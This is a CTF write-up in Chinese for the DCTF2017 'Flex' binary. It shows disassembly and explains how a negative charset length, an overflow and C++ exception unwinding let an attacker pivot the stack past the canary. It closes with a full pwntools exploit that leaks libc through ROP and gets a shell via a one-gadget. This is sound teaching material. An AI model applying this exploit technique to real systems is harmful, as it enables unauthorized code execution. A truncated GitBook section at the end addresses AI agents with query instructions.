> For the complete documentation index, see [llms.txt](https://firmianay.gitbook.io/ctf-all-in-one/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://firmianay.gitbook.io/ctf-all-in-one/6_writeup/pwn/6.1.8_pwn_dctf2017_flex.md).

# 6.1.8 pwn DCTF2017 Flex

* [题目复现](#题目复现)
* [C++ 异常处理机制](#C-异常处理机制)
* [题目解析](#题目解析)
* [漏洞利用](#漏洞利用)
* [参考资料](#参考资料)

[下载文件](https://github.com/firmianay/CTF-All-In-One/blob/master/src/writeup/6.1.8_pwn_dctf2017_flex)

## 题目复现

```
$ file flex
flex: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=30a1acbc98ccf9e8f4b3d1fc06b6ba6f0cbe7c9e, stripped
$ checksec -f flex
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY  Fortified Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes      0               4       flex
```

可以看到开启了 Canary，本题的关键就是利用某种神秘机制（C++异常处理机制）绕过它。

随便玩一下，了解程序的基本功能：

```
$ ./flex
1.start flexmd5
2.start flexsha256
3.start flexsha1
4.test security
0 quit
option:
1
FlexMD5 bruteforce tool V0.1
custom md5 state (yes/No)
No
custom charset (yes/No)
yes
charset length:
10
charset:
a
bruteforce message pattern:
aaaa
```

把程序跑起来：

```
$ socat tcp4-listen:10001,reuseaddr,fork exec:./flex &
```

## C++ 异常处理机制

```
$ ldd flex
        linux-vdso.so.1 (0x00007ffcd837a000)
        libstdc++.so.6 => /usr/lib/libstdc++.so.6 (0x00007f748fe72000)
        libgcc_s.so.1 => /usr/lib/libgcc_s.so.1 (0x00007f748fc5b000)
        libc.so.6 => /usr/lib/libc.so.6 (0x00007f748f8a3000)
        libm.so.6 => /usr/lib/libm.so.6 (0x00007f748f557000)
        /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007f74901f9000)
```

所以这个程序是一个 C 和 C++ 混合编译的，以便处理异常。

当用户 throw 一个异常时，编译器会帮我们调用相应的函数分配 `_cxa_exception` 就是头部，`exception_obj`。异常对象由函数 `__cxa_allocate_exception()` 进行创建，最后由 `__cxa_free_exception()` 进行销毁。当我们在程序里执行了抛出异常后，编译器做了如下的事情：

1. 调用 `__cxa_allocate_exception` 函数，分配一个异常对象
2. 调用 `__cxa_throw` 函数，这个函数会将异常对象做一些初始化
3. `__cxa_throw()` 调用 Itanium ABI 里的 `_Unwind_RaiseException()` 从而开始 unwind，unwind 分为两个阶段，分别进行搜索 catch 及清理调用栈
4. `_Unwind_RaiseException()` 对调用链上的函数进行 unwind 时，调用 personality routine（`__gxx_personality_v0`）
5. 如果该异常如能被处理（有相应的 catch），则 personality routine 会依次对调用链上的函数进行清理。
6. `_Unwind_RaiseException()` 将控制权转到相应的 catch 代码
7. unwind 完成，用户代码继续执行

具体内容查看参考资料。

## 题目解析

程序的第四个选项很吸引人，但似乎没有发现什么突破点，而第一个选项可以输入的东西较多，问题应该在这里，查看该函数 `sub.bruteforcing_start:_500`：

```
[0x00400d80]> pdf @ sub.bruteforcing_start:_500
/ (fcn) sub.bruteforcing_start:_500 63
|   sub.bruteforcing_start:_500 ();
|              ; CALL XREF from 0x00402200 (main)
|           0x00401500      55             push rbp
|           0x00401501      4889e5         mov rbp, rsp
|           0x00401504      4883ec10       sub rsp, 0x10
|           0x00401508      e83bfcffff     call sub.FlexMD5_bruteforce_tool_V0.1_148
|           0x0040150d      e87dfaffff     call fcn.00400f8f
|           0x00401512      bf4f464000     mov edi, str.bruteforcing_start: ; 0x40464f ; "bruteforcing start:"
|           0x00401517      e8b4f6ffff     call sym.imp.puts           ; int puts(const char *s)
|              ; JMP XREF from 0x00401534 (sub.bruteforcing_start:_500)
|       .-> 0x0040151c      e88cfeffff     call sub.strlen_3ad         ; size_t strlen(const char *s)
|       :   0x00401521      85c0           test eax, eax
|       :   0x00401523      0f94c0         sete al
|       :   0x00401526      84c0           test al, al
|      ,==< 0x00401528      740c           je 0x401536
|      |:   0x0040152a      bf01000000     mov edi, 1
|      |:   0x0040152f      e83cf7ffff     call sym.imp.sleep          ; int sleep(int s)
|      |`=< 0x00401534      ebe6           jmp 0x40151c
|      |       ; JMP XREF from 0x00401528 (sub.bruteforcing_start:_500)
|      |       ; JMP XREF from 0x0040155d (sub.bruteforcing_start:_500 + 93)
|      `.-> 0x00401536      b800000000     mov eax, 0                   ; 异常处理代码
|      ,==< 0x0040153b      eb22           jmp 0x40155f
       |:   0x0040153d      4883fa01       cmp rdx, 1                  ; 1 ; 如果成功捕获异常，则跳转到这里
      ,===< 0x00401541      7408           je 0x40154b                  ; 跳转
      ||:   0x00401543      4889c7         mov rdi, rax
      ||:   0x00401546      e8f5f7ffff     call sym.imp._Unwind_Resume
      ||:      ; JMP XREF from 0x00401541 (sub.bruteforcing_start:_500 + 65)
      `---> 0x0040154b      4889c7         mov rdi, rax
       |:   0x0040154e      e8bdf7ffff     call sym.imp.__cxa_begin_catch
       |:   0x00401553      8b00           mov eax, dword [rax]
       |:   0x00401555      8945fc         mov dword [rbp - 4], eax
       |:   0x00401558      e8a3f7ffff     call sym.imp.__cxa_end_catch
       |`=< 0x0040155d      ebd7           jmp 0x401536                ; sub.bruteforcing_start:_500+0x36
|      |       ; JMP XREF from 0x0040153b (sub.bruteforcing_start:_500)
|      `--> 0x0040155f      c9             leave
\           0x00401560      c3             ret                          ; ret 到 payload_2
```

函数 `sub.FlexMD5_bruteforce_tool_V0.1_148`：

```
[0x00400d80]> pdf @ sub.FlexMD5_bruteforce_tool_V0.1_148
/ (fcn) sub.FlexMD5_bruteforce_tool_V0.1_148 613
|   sub.FlexMD5_bruteforce_tool_V0.1_148 ();
|           ; var int local_124h @ rbp-0x124
|           ; var int local_120h @ rbp-0x120
|           ; var int local_18h @ rbp-0x18
|              ; CALL XREF from 0x00401508 (sub.bruteforcing_start:_500)
|           0x00401148      55             push rbp
|           0x00401149      4889e5         mov rbp, rsp
|           0x0040114c      53             push rbx
|           0x0040114d      4881ec280100.  sub rsp, 0x128
|           0x00401154      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=-1 ; '(' ; 40
|           0x0040115d      488945e8       mov qword [local_18h], rax
|           0x00401161      31c0           xor eax, eax
|           0x00401163      bf47454000     mov edi, str.FlexMD5_bruteforce_tool_V0.1 ; 0x404547 ; "FlexMD5 bruteforce tool V0.1"
|           0x00401168      e863faffff     call sym.imp.puts           ; int puts(const char *s)
|           0x0040116d      bf64454000     mov edi, str.custom_md5_state__yes_No_ ; 0x404564 ; "custom md5 state (yes/No)"
|           0x00401172      e859faffff     call sym.imp.puts           ; int puts(const char *s)
|           0x00401177      488d85e0feff.  lea rax, [local_120h]
|           0x0040117e      be04000000     mov esi, 4
|           0x00401183      4889c7         mov rdi, rax
|           0x00401186      e8ebfcffff     call sub.read_e76           ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x0040118b      488d85e0feff.  lea rax, [local_120h]
|           0x00401192      ba03000000     mov edx, 3
|           0x00401197      be7e454000     mov esi, 0x40457e           ; "yes"
|           0x0040119c      4889c7         mov rdi, rax
|           0x0040119f      e85cfaffff     call sym.imp.strncmp        ; int strncmp(const char *s1, const char *s2, size_t n)
|           0x004011a4      85c0           test eax, eax
|       ,=< 0x004011a6      755e           jne 0x401206
|       |   0x004011a8      c705f24f2000.  mov dword [0x006061a4], 1   ; [0x6061a4:4]=0
|       |   0x004011b2      bf82454000     mov edi, str.initial_state_0_: ; 0x404582 ; "initial state[0]:"
|       |   0x004011b7      e814faffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x004011bc      e884fdffff     call sub.atoi_f45           ; int atoi(const char *str)
|       |   0x004011c1      8905e94f2000   mov dword [0x006061b0], eax ; [0x6061b0:4]=0
|       |   0x004011c7      bf94454000     mov edi, str.initial_state_1_: ; 0x404594 ; "initial state[1]:"
|       |   0x004011cc      e8fff9ffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x004011d1      e86ffdffff     call sub.atoi_f45           ; int atoi(const char *str)
|       |   0x004011d6      8905d84f2000   mov dword [0x006061b4], eax ; [0x6061b4:4]=0
|       |   0x004011dc      bfa6454000     mov edi, str.initial_state_2_: ; 0x4045a6 ; "initial state[2]:"
|       |   0x004011e1      e8eaf9ffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x004011e6      e85afdffff     call sub.atoi_f45           ; int atoi(const char *str)
|       |   0x004011eb      8905c74f2000   mov dword [0x006061b8], eax ; [0x6061b8:4]=0
|       |   0x004011f1      bfb8454000     mov edi, str.initial_state_3_: ; 0x4045b8 ; "initial state[3]:"
|       |   0x004011f6      e8d5f9ffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x004011fb      e845fdffff     call sub.atoi_f45           ; int atoi(const char *str)
|       |   0x00401200      8905b64f2000   mov dword [0x006061bc], eax ; [0x6061bc:4]=0
|       |      ; JMP XREF from 0x004011a6 (sub.FlexMD5_bruteforce_tool_V0.1_148)
|       `-> 0x00401206      bfca454000     mov edi, str.custom_charset__yes_No_ ; 0x4045ca ; "custom charset (yes/No)"
|           0x0040120b      e8c0f9ffff     call sym.imp.puts           ; int puts(const char *s)
|           0x00401210      488d85e0feff.  lea rax, [local_120h]
|           0x00401217      be04000000     mov esi, 4
|           0x0040121c      4889c7         mov rdi, rax
|           0x0040121f      e852fcffff     call sub.read_e76           ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x00401224      488d85e0feff.  lea rax, [local_120h]
|           0x0040122b      ba03000000     mov edx, 3
|           0x00401230      be7e454000     mov esi, 0x40457e           ; "yes"
|           0x00401235      4889c7         mov rdi, rax
|           0x00401238      e8c3f9ffff     call sym.imp.strncmp        ; int strncmp(const char *s1, const char *s2, size_t n)
|           0x0040123d      85c0           test eax, eax
|       ,=< 0x0040123f      0f858a000000   jne 0x4012cf
|       |   0x00401245      c705554f2000.  mov dword [0x006061a4], 1   ; [0x6061a4:4]=0
|       |   0x0040124f      bfe2454000     mov edi, str.charset_length: ; 0x4045e2 ; "charset length:"
|       |   0x00401254      e877f9ffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x00401259      e8e7fcffff     call sub.atoi_f45           ; int atoi(const char *str) ; 读入字符串并转换成整型数
|       |   0x0040125e      8905ac4e2000   mov dword [0x00606110], eax ; [0x606110:4]=62
|       |   0x00401264      8b05a64e2000   mov eax, dword [0x00606110] ; [0x606110:4]=62
|       |   0x0040126a      3d00010000     cmp eax, 0x100              ; 256 ; 比较大小
|      ,==< 0x0040126f      7e22           jle 0x401293                 ; eax < 256 时跳转 ; 这里我们输入一个负数即可成功跳转
|      ||   0x00401271      bf04000000     mov edi, 4
|      ||   0x00401276      e855faffff     call sym.imp.__cxa_allocate_exception
|      ||   0x0040127b      c70002000000   mov dword [rax], 2
|      ||   0x00401281      ba00000000     mov edx, 0
|      ||   0x00401286      be70616000     mov esi, obj.typeinfoforint ; 0x606170
|      ||   0x0040128b      4889c7         mov rdi, rax
|      ||   0x0040128e      e85dfaffff     call sym.imp.__cxa_throw
|      ||      ; JMP XREF from 0x0040126f (sub.FlexMD5_bruteforce_tool_V0.1_148)
|      `--> 0x00401293      bff2454000     mov edi, str.charset:       ; 0x4045f2 ; "charset:"
|       |   0x00401298      e833f9ffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x0040129d      8b056d4e2000   mov eax, dword [0x00606110] ; [0x606110:4]=62 ; 取出数字
|       |   0x004012a3      83c001         add eax, 1                   ; eax += 1
|       |   0x004012a6      89c2           mov edx, eax
|       |   0x004012a8      488d85e0feff.  lea rax, [local_120h]
|       |   0x004012af      89d6           mov esi, edx
|       |   0x004012b1      4889c7         mov rdi, rax
|       |   0x004012b4      e8bdfbffff     call sub.read_e76           ; ssize_t read(int fildes, void *buf, size_t nbyte) ; 该函数内调用 read(0, [local_120h], esi) 读入我们的 payload_1，由于esi是一个负数，而 0x00400ea8 jae 0x400ef3 处是与一个非负数比较，永远不会相等，即可以读入以换行符结尾的任意数量字符
|       |   0x004012b9      488d85e0feff.  lea rax, [local_120h]
|       |   0x004012c0      4889c7         mov rdi, rax
|       |   0x004012c3      e8e8f9ffff     call sym.imp.strdup         ; char *strdup(const char *src) ; 在堆中复制一个字符串的副本
|       |   0x004012c8      488905494e20.  mov qword str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789, rax ; [0x606118:8]=0x404508 str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789
|       |      ; JMP XREF from 0x0040123f (sub.FlexMD5_bruteforce_tool_V0.1_148)
|       `-> 0x004012cf      bffb454000     mov edi, str.bruteforce_message_pattern: ; 0x4045fb ; "bruteforce message pattern:"
|           0x004012d4      e8f7f8ffff     call sym.imp.puts           ; int puts(const char *s)
|           0x004012d9      be00040000     mov esi, 0x400              ; 1024
|           0x004012de      bfc0616000     mov edi, 0x6061c0
|           0x004012e3      e836fcffff     call sub.read_f1e           ; ssize_t read(int fildes, void *buf, size_t nbyte) ; 调用 read(0, 0x6061c0, 0x400) 读入 payload_2
|           0x004012e8      bfc0616000     mov edi, 0x6061c0
|           0x004012ed      e85ef9ffff     call sym.imp.strlen         ; size_t strlen(const char *s)
|           0x004012f2      8905a84e2000   mov dword [0x006061a0], eax ; [0x6061a0:4]=0
|           0x004012f8      c785dcfeffff.  mov dword [local_124h], 0
|              ; JMP XREF from 0x00401334 (sub.FlexMD5_bruteforce_tool_V0.1_148)
|       .-> 0x00401302      8b85dcfeffff   mov eax, dword [local_124h]
|       :   0x00401308      4863d8         movsxd rbx, eax              ; 将 rbx 初始化为 0
|       :   0x0040130b      bfc0616000     mov edi, 0x6061c0            ; paylaod_2 的地址
|       :   0x00401310      e83bf9ffff     call sym.imp.strlen         ; size_t strlen(const char *s)
|       :   0x00401315      4839c3         cmp rbx, rax                 ; 比较 rbx 和 rax，rax 是字符串长度返回值
|      ,==< 0x00401318      731d           jae 0x401337                 ; 相等时跳转
|      |:   0x0040131a      8b85dcfeffff   mov eax, dword [local_124h]
|      |:   0x00401320      4898           cdqe
|      |:   0x00401322      0fb680c06160.  movzx eax, byte [rax + 0x6061c0] ; [0x6061c0:1]=0
|      |:   0x00401329      3c2e           cmp al, 0x2e                ; '.' ; 46
|     ,===< 0x0040132b      7409           je 0x401336
|     ||:   0x0040132d      8385dcfeffff.  add dword [local_124h], 1    ; rbx += 1
|     ||`=< 0x00401334      ebcc           jmp 0x401302
|     ||       ; JMP XREF from 0x0040132b (sub.FlexMD5_bruteforce_tool_V0.1_148)
|     `---> 0x00401336      90             nop
|      |       ; JMP XREF from 0x00401318 (sub.FlexMD5_bruteforce_tool_V0.1_148)
|      `--> 0x00401337      8b85dcfeffff   mov eax, dword [local_124h]
|           0x0040133d      4863d8         movsxd rbx, eax
|           0x00401340      bfc0616000     mov edi, 0x6061c0
|           0x00401345      e806f9ffff     call sym.imp.strlen         ; size_t strlen(const char *s)
|           0x0040134a      4839c3         cmp rbx, rax                 ; 比较 rbx 和 rax
|       ,=< 0x0040134d      7522           jne 0x401371                 ; 如果相等，则进入异常处理机制，利用该机制可 leave;ret 到 payload_2
|       |   0x0040134f      bf04000000     mov edi, 4                               ; 参数 edi = 4
|       |   0x00401354      e877f9ffff     call sym.imp.__cxa_allocate_exception    ; 创建异常对象，返回对象地址 rax
|       |   0x00401359      c70000000000   mov dword [rax], 0                       ; 初始化为 0
|       |   0x0040135f      ba00000000     mov edx, 0                               ; 参数 edx = 0
|       |   0x00401364      be70616000     mov esi, obj.typeinfoforint ; 0x606170   ; 参数 esi = 0x606170
|       |   0x00401369      4889c7         mov rdi, rax                             ; 参数 rdi = rax
|       |   0x0040136c      e87ff9ffff     call sym.imp.__cxa_throw     ; 对异常对象做一些初始化，这里会跳转到 0x0040153d
|       |      ; JMP XREF from 0x0040134d (sub.FlexMD5_bruteforce_tool_V0.1_148)
|       `-> 0x00401371      bf17464000     mov edi, str.md5_pattern:   ; 0x404617 ; "md5 pattern:"
|           0x00401376      e855f8ffff     call sym.imp.puts           ; int puts(const char *s)
|           0x0040137b      be21000000     mov esi, 0x21               ; '!' ; 33
|           0x00401380      bfc0656000     mov edi, 0x6065c0
|           0x00401385      e8ecfaffff     call sub.read_e76           ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x0040138a      b800000000     mov eax, 0
|           0x0040138f      488b4de8       mov rcx, qword [local_18h]
|           0x00401393      6448330c2528.  xor rcx, qword fs:[0x28]
|       ,=< 0x0040139c      7405           je 0x4013a3
|       |   0x0040139e      e81df9ffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       |      ; JMP XREF from 0x0040139c (sub.FlexMD5_bruteforce_tool_V0.1_148)
|       `-> 0x004013a3      4881c4280100.  add rsp, 0x128
|           0x004013aa      5b             pop rbx
|           0x004013ab      5d             pop rbp
\           0x004013ac      c3             ret
```

函数 `sub.atoi_f45` 将字符串转换成长整型数：

```
[0x00400d80]> pdf @ sub.atoi_f45
/ (fcn) sub.atoi_f45 74
|   sub.atoi_f45 ();
|           ; var int local_20h @ rbp-0x20
|           ; var int local_8h @ rbp-0x8
|              ; XREFS: CALL 0x004021f2  CALL 0x004011bc  CALL 0x004011d1  CALL 0x004011e6  CALL 0x004011fb  CALL 0x00401259  CALL 0x004015d9  CALL 0x00402136  
|           0x00400f45      55             push rbp
|           0x00400f46      4889e5         mov rbp, rsp
|           0x00400f49      4883ec20       sub rsp, 0x20
|           0x00400f4d      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=-1 ; '(' ; 40
|           0x00400f56      488945f8       mov qword [local_8h], rax
|           0x00400f5a      31c0           xor eax, eax
|           0x00400f5c      488d45e0       lea rax, [local_20h]
|           0x00400f60      be0b000000     mov esi, 0xb                ; 11
|           0x00400f65      4889c7         mov rdi, rax
|           0x00400f68      e809ffffff     call sub.read_e76           ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x00400f6d      488d45e0       lea rax, [local_20h]         ; local_20h 指向读入的字符串
|           0x00400f71      4889c7         mov rdi, rax                 ; rdi = rax
|           0x00400f74      e807fdffff     call sym.imp.atoi           ; int atoi(const char *str) ; 将字符串转换成长整型
|           0x00400f79      488b55f8       mov rdx, qword [local_8h]
|           0x00400f7d      644833142528.  xor rdx, qword fs:[0x28]
|       ,=< 0x00400f86      7405           je 0x400f8d
|       |   0x00400f88      e833fdffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       |      ; JMP XREF from 0x00400f86 (sub.atoi_f45)
|       `-> 0x00400f8d      c9             leave
\           0x00400f8e      c3             ret
```

可以看到该函数并未对所输入的数字进行验证，所以我们可以输入负数，因为计算机中数字是以补码的形式存在，例如 `-2 = 0xfffffffffffffffe`。这个数字加 1 后，作为读入字符串个数的判定，因为个数不能为负，我们就可以开心地读入后面的 payload 了。

这个程序中读入操作使用函数 `sub.read_e76`，该函数内部有一个循环，每次读入一个字符，如果遇到换行符，则完成退出。

```
[0x00400d80]> pdf @ sub.read_e76
/ (fcn) sub.read_e76 168
|   sub.read_e76 ();
|           ; var int local_1ch @ rbp-0x1c
|           ; var int local_18h @ rbp-0x18
|           ; var int local_dh @ rbp-0xd
|           ; var int local_ch @ rbp-0xc
|           ; var int local_8h @ rbp-0x8
|              ; XREFS: CALL 0x00400f68  CALL 0x00401186  CALL 0x0040121f  CALL 0x004012b4  CALL 0x00401385  CALL 0x0040159f  CALL 0x00401634  CALL 0x00401663  
|              ; XREFS: CALL 0x00401705  CALL 0x00401d4f  
|           0x00400e76      55             push rbp
|           0x00400e77      4889e5         mov rbp, rsp
|           0x00400e7a      4883ec20       sub rsp, 0x20
|           0x00400e7e      48897de8       mov qword [local_18h], rdi
|           0x00400e82      8975e4         mov dword [local_1ch], esi
|           0x00400e85      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=-1 ; '(' ; 40
|           0x00400e8e      488945f8       mov qword [local_8h], rax
|           0x00400e92      31c0           xor eax, eax
|           0x00400e94      c745f4000000.  mov dword [local_ch], 0
|           0x00400e9b      c745f4000000.  mov dword [local_ch], 0
|              ; JMP XREF from 0x00400ef1 (sub.read_e76)
|       .-> 0x00400ea2      8b45f4         mov eax, dword [local_ch]    ; 循环起点，local_ch 存放已输入字符数量
|       :   0x00400ea5      3b45e4         cmp eax, dword [local_1ch]   ; 允许读入的数量
|      ,==< 0x00400ea8      7349           jae 0x400ef3                 ; 相等时跳转　（当读入payload_!时，由于我们输入的是一个负数，而 eax 是非负数，永远不会相等）
|      |:   0x00400eaa      488d45f3       lea rax, [local_dh]
|      |:   0x00400eae      ba01000000     mov edx, 1                   ; nbyte = 1
|      |:   0x00400eb3      4889c6         mov rsi, rax                 ; buf = rsi = [local_dh]
|      |:   0x00400eb6      bf00000000     mov edi, 0                   ; fildes = edi = 0
|      |:   0x00400ebb      e830fdffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte) ; 每次读入 1 个字符
|      |:   0x00400ec0      0fb645f3       movzx eax, byte [local_dh]   ; 取出输入字符
|      |:   0x00400ec4      3c0a           cmp al, 0xa                 ; 10 ; 比较输入字符是不是 '\n'
|     ,===< 0x00400ec6      7515           jne 0x400edd                 ; 不是则跳转
|     ||:   0x00400ec8      8b55f4         mov edx, dword [local_ch]
|     ||:   0x00400ecb      488b45e8       mov rax, qword [local_18h]
|     ||:   0x00400ecf      4801d0         add rax, rdx                ; '('
|     ||:   0x00400ed2      c60000         mov byte [rax], 0
|     ||:   0x00400ed5      8b45f4         mov eax, dword [local_ch]
|     ||:   0x00400ed8      83c001         add eax, 1
|    ,====< 0x00400edb      eb2b           jmp 0x400f08
|    |||:      ; JMP XREF from 0x00400ec6 (sub.read_e76)
|    |`---> 0x00400edd      8b55f4         mov edx, dword [local_ch]    ; 取出字符数量
|    | |:   0x00400ee0      488b45e8       mov rax, qword [local_18h]   ; local_18h 为目标初始地址
|    | |:   0x00400ee4      4801c2         add rdx, rax                ; '#' ; rdx 指向目标地址
|    | |:   0x00400ee7      0fb645f3       movzx eax, byte [local_dh]   ; 取出读入字符
|    | |:   0x00400eeb      8802           mov byte [rdx], al           ; 将读入字符存放到 [rdx]
|    | |:   0x00400eed      8345f401       add dword [local_ch], 1      ; local_ch += 1
|    | |`=< 0x00400ef1      ebaf           jmp 0x400ea2                 ; 循环，继续读入字符
|    | |       ; JMP XREF from 0x00400ea8 (sub.read_e76)
|    | `--> 0x00400ef3      8b45e4         mov eax, dword [local_1ch]
|    |      0x00400ef6      83e801         sub eax, 1
|    |      0x00400ef9      89c2           mov edx, eax
|    |      0x00400efb      488b45e8       mov rax, qword [local_18h]
|    |      0x00400eff      4801d0         add rax, rdx                ; '('
|    |      0x00400f02      c60000         mov byte [rax], 0
|    |      0x00400f05      8b45f4         mov eax, dword [local_ch]
|    |         ; JMP XREF from 0x00400edb (sub.read_e76)
|    `----> 0x00400f08      488b4df8       mov rcx, qword [local_8h]    ; 读完字符串，跳出循环
|           0x00400f0c      6448330c2528.  xor rcx, qword fs:[0x28]
|       ,=< 0x00400f15      7405           je 0x400f1c
|       |   0x00400f17      e8a4fdffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       |      ; JMP XREF from 0x00400f15 (sub.read_e76)
|       `-> 0x00400f1c      c9             leave
\           0x00400f1d      c3             ret
```

分析完了，接下来就写 exp 吧。

## 漏洞利用

### stack pivot

在 `0x004012b4` 下断点，以检查溢出点：

```
gdb-peda$ x/s $rbp
0x7fffffffe3f0: "5A%KA%gA%6A%"
gdb-peda$ pattern_offset 5A%KA%gA%6A%
5A%KA%gA%6A% found at offset: 288
```

所以缓冲区的长度为 `288 / 8 = 36`。利用缓冲区溢出覆盖掉 rbp，在异常处理过程中，unwind 例程向上一级一级地找异常处理函数，然后恢复相关数据，这样就将栈转移到了新地址：

```python
# stack pivot
payload_1  = "AAAAAAAA" * 36
payload_1 += p64(pivote_addr)
payload_1 += p64(unwind_addr)
```

unwind\_addr 必须是调用函数里的一个地址，这样抛出的异常才能被调用函数内的异常处理函数 catch。

### get puts address

异常处理函数结束后，执行下面两句：

```
|      `--> 0x0040155f      c9             leave
\           0x00401560      c3             ret                          ; ret 到 payload_2
```

通常情况下我们构造 rop 调用 read() 读入 one-gadget 来获得 shell，但可用的 gadget 只能控制 rdi 和 rsi，而不能控制 rdx。所以必须通过函数 `sub.read_f1e` 来做到这一点。

```
$ ropgadget --binary flex --only "pop|ret"
...
0x00000000004044d3 : pop rdi ; ret
0x00000000004044d1 : pop rsi ; pop r15 ; ret
```

```
[0x00400d80]> pdf @ sub.read_f1e
/ (fcn) sub.read_f1e 39
|   sub.read_f1e ();
|           ; var int local_10h @ rbp-0x10
|           ; var int local_8h @ rbp-0x8
|              ; CALL XREF from 0x004012e3 (sub.FlexMD5_bruteforce_tool_V0.1_148)
|           0x00400f1e      55             push rbp
|           0x00400f1f      4889e5         mov rbp, rsp
|           0x00400f22      4883ec10       sub rsp, 0x10
|           0x00400f26      48897df8       mov qword [local_8h], rdi
|           0x00400f2a      488975f0       mov qword [local_10h], rsi
|           0x00400f2e      488b55f0       mov rdx, qword [local_10h]   ; rdx = 传入的 rsi
|           0x00400f32      488b45f8       mov rax, qword [local_8h]
|           0x00400f36      4889c6         mov rsi, rax                 ; rsi = 传入的 rdi
|           0x00400f39      bf00000000     mov edi, 0                   ; fildes = 0
|           0x00400f3e      e8adfcffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x00400f43      c9             leave
\           0x00400f44      c3             ret
```

构造 paylode\_2 打印出 puts 的地址，并调用 `read_f1e` 读入 payload\_3 到 `pivote_addr + 0x50` 的位置：

```python
# get puts address
payload_2  = "AAAAAAAA"
payload_2 += p64(pop_rdi)
payload_2 += p64(puts_got)
payload_2 += p64(puts_plt)
payload_2 += p64(pop_rdi)
payload_2 += p64(pivote_addr + 0x50)
payload_2 += p64(pop_rsi_r15)
payload_2 += p64(8)
payload_2 += "AAAAAAAA"
payload_2 += p64(read_f1e)

io.sendline(payload_2)
io.recvuntil("pattern:\n")
puts_addr = io.recvuntil("\n")[:-1].ljust(8,"\x00")
puts_addr = u64(puts_addr)
```

### get shell

找到 libc 的 `do_system` 函数里的 one-gadget 地址为 `0x00041ee7`：

```
|           0x00041ee7      488b056aff36.  mov rax, qword [0x003b1e58] ; [0x3b1e58:8]=0
|           0x00041eee      488d3d409313.  lea rdi, str._bin_sh        ; 0x17b235 ; "/bin/sh"
|           0x00041ef5      c70521253700.  mov dword [obj.lock_4], 0   ; [0x3b4420:4]=0
|           0x00041eff      c7051b253700.  mov dword [obj.sa_refcntr], 0 ; [0x3b4424:4]=0
|           0x00041f09      488d742430     lea rsi, [local_30h]        ; sym.lm_cache ; 0x30
|           0x00041f0e      488b10         mov rdx, qword [rax]
|           0x00041f11      67e8c9260800   call sym.execve
```

通过泄露出的 puts 地址，计算符号偏移得到 one-gadget 地址，构造 payload\_3：

```python
libc_base = puts_addr - libc.symbols['puts']
one_gadget = libc_base + 0x00041ee7

# get shell
payload_3 = p64(one_gadget)
```

Bingo!!!

```
$ python2 exp.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] Switching to interactive mode
$ whoami
firmy
```

### exploit

完整的 exp 如下：

```python
from pwn import *

io = remote('127.0.0.1', 10001)
libc = ELF('/usr/lib/libc-2.26.so')

io.recvuntil("option:\n")
io.sendline("1")
io.recvuntil("(yes/No)")
io.sendline("No")
io.recvuntil("(yes/No)")
io.sendline("yes")
io.recvuntil("length:")
io.sendline('-3')
io.recvuntil("charset:")

puts_plt = 0x00400bD0
puts_got = 0x00606020
read_f1e = 0x00400f1e
pop_rdi = 0x004044d3        # pop rdi ; ret
pop_rsi_r15 = 0x004044d1    # pop rsi ; pop r15 ; ret

pivote_addr = 0x6061C0
unwind_addr = 0x00401509    # make sure unwind can find the catch routine

# stack pivot
payload_1  = "AAAAAAAA" * 36
payload_1 += p64(pivote_addr)
payload_1 += p64(unwind_addr)

io.sendline(payload_1)
io.recvuntil("\n")

# get puts address
payload_2  = "AAAAAAAA"       # fake ebp
payload_2 += p64(pop_rdi)
payload_2 += p64(puts_got)
payload_2 += p64(puts_plt)
payload_2 += p64(pop_rdi)
payload_2 += p64(pivote_addr + 0x50)
payload_2 += p64(pop_rsi_r15)
payload_2 += p64(8)
payload_2 += "AAAAAAAA"
payload_2 += p64(read_f1e)

io.sendline(payload_2)
io.recvuntil("pattern:\n")
puts_addr = io.recvuntil("\n")[:-1].ljust(8,"\x00")
puts_addr = u64(puts_addr)

libc_base = puts_addr - libc.symbols['puts']
one_gadget = libc_base + 0x00041ee7

# get shell
payload_3 = p64(one_gadget)

io.sendline(payload_3)
io.interactive()
```

最后建议读者自己多调试几遍，以加深对异常处理机制的理解。

## 参考资料

* [Shanghai-DCTF-2017 线下攻防Pwn题](https://www.anquanke.com/post/id/89855)
* [c++ 异常处理（1）](https://www.cnblogs.com/catch/p/3604516.html)
* [C++异常机制的实现方式和开销分析](http://baiy.cn/doc/cpp/inside_exception.htm)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
